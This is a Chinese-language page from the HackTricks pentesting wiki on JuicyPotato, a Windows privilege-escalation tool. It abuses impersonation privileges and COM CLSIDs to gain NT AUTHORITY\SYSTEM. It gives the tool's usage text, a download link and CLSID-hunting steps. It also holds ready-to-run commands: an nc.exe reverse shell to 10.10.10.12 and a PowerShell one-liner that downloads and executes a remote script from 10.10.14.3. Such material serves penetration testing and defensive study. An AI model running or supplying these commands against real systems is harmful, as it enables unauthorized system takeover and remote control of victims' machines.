JuicyPotato
Reading time: 8 minutes
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
[!WARNING] > JuicyPotato在 Windows Server 2019 和 Windows 10 build 1809 及之后的版本上无法工作。然而, PrintSpoofer, RoguePotato, SharpEfsPotato 可以用来 利用相同的权限并获得
NT AUTHORITY\SYSTEM
级别的访问权限。 检查:
RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato
Juicy Potato (滥用黄金权限)
一个经过糖化的 RottenPotatoNG 版本,带有一点果汁,即 另一个本地权限提升工具,从 Windows 服务账户到 NT AUTHORITY\SYSTEM
你可以从 https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts 下载 juicypotato
摘要
RottenPotatoNG 及其 变体 利用基于 BITS
服务 的权限提升链,具有在 127.0.0.1:6666
上的 MiTM 监听器,并且当你拥有 SeImpersonate
或 SeAssignPrimaryToken
权限时。在一次 Windows 构建审查中,我们发现一个设置,其中 BITS
被故意禁用,端口 6666
被占用。
我们决定武器化 RottenPotatoNG:向 Juicy Potato 打个招呼。
有关理论,请参见 Rotten Potato - 从服务账户到 SYSTEM 的权限提升 并跟随链接和参考链。
我们发现,除了 BITS
之外,还有几个 COM 服务器可以被滥用。它们只需要:
- 可由当前用户实例化,通常是具有模拟权限的“服务用户”
- 实现
IMarshal
接口 - 以提升的用户身份运行(SYSTEM,Administrator,…)
经过一些测试,我们获得并测试了一份在多个 Windows 版本上的 有趣 CLSID 的广泛列表。
Juicy 细节
JuicyPotato 允许你:
- 目标 CLSID 选择你想要的任何 CLSID。 这里 你可以找到按操作系统组织的列表。
- COM 监听端口 定义你喜欢的 COM 监听端口(而不是硬编码的 6666)
- COM 监听 IP 地址 在任何 IP 上绑定服务器
- 进程创建模式 根据模拟用户的权限,你可以选择:
CreateProcessWithToken
(需要SeImpersonate
)CreateProcessAsUser
(需要SeAssignPrimaryToken
)两者
- 要启动的进程 如果利用成功,启动一个可执行文件或脚本
- 进程参数 自定义启动进程的参数
- RPC 服务器地址 为了隐蔽的方法,你可以认证到外部 RPC 服务器
- RPC 服务器端口 如果你想认证到外部服务器并且防火墙阻止了端口
135
,这很有用… - 测试模式 主要用于测试目的,即测试 CLSID。它创建 DCOM 并打印令牌的用户。请参见 这里进行测试
使用
T:\>JuicyPotato.exe
JuicyPotato v0.1
Mandatory args:
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: program to launch
-l <port>: COM server listen port
Optional args:
-m <ip>: COM server listen address (default 127.0.0.1)
-a <argument>: command line argument to pass to program (default NULL)
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)
最后思考
如果用户拥有 SeImpersonate
或 SeAssignPrimaryToken
权限,那么你就是 SYSTEM。
几乎不可能防止所有这些 COM 服务器的滥用。你可以考虑通过 DCOMCNFG
修改这些对象的权限,但祝你好运,这将是一个挑战。
实际的解决方案是保护在 * SERVICE
账户下运行的敏感账户和应用程序。停止 DCOM
无疑会抑制此漏洞,但可能会对底层操作系统产生严重影响。
来自: http://ohpe.it/juicy-potato/
示例
注意: 访问 此页面 获取可尝试的 CLSID 列表。
获取 nc.exe 反向 shell
c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK
c:\Users\Public>
Powershell rev
.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *
启动新的 CMD(如果您有 RDP 访问权限)
CLSID 问题
通常,JuicyPotato 使用的默认 CLSID 无法工作,并且漏洞利用失败。通常,需要多次尝试才能找到一个 有效的 CLSID。要获取特定操作系统的 CLSID 列表,您应该访问此页面:
检查 CLSID
首先,您需要一些可执行文件,除了 juicypotato.exe。
下载 Join-Object.ps1 并将其加载到您的 PS 会话中,然后下载并执行 GetCLSID.ps1。该脚本将创建一个可能的 CLSID 列表以供测试。
然后下载 test_clsid.bat (更改 CLSID 列表和 juicypotato 可执行文件的路径)并执行它。它将开始尝试每个 CLSID,当端口号改变时,这意味着 CLSID 有效。
使用参数 -c 检查 有效的 CLSID
参考
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。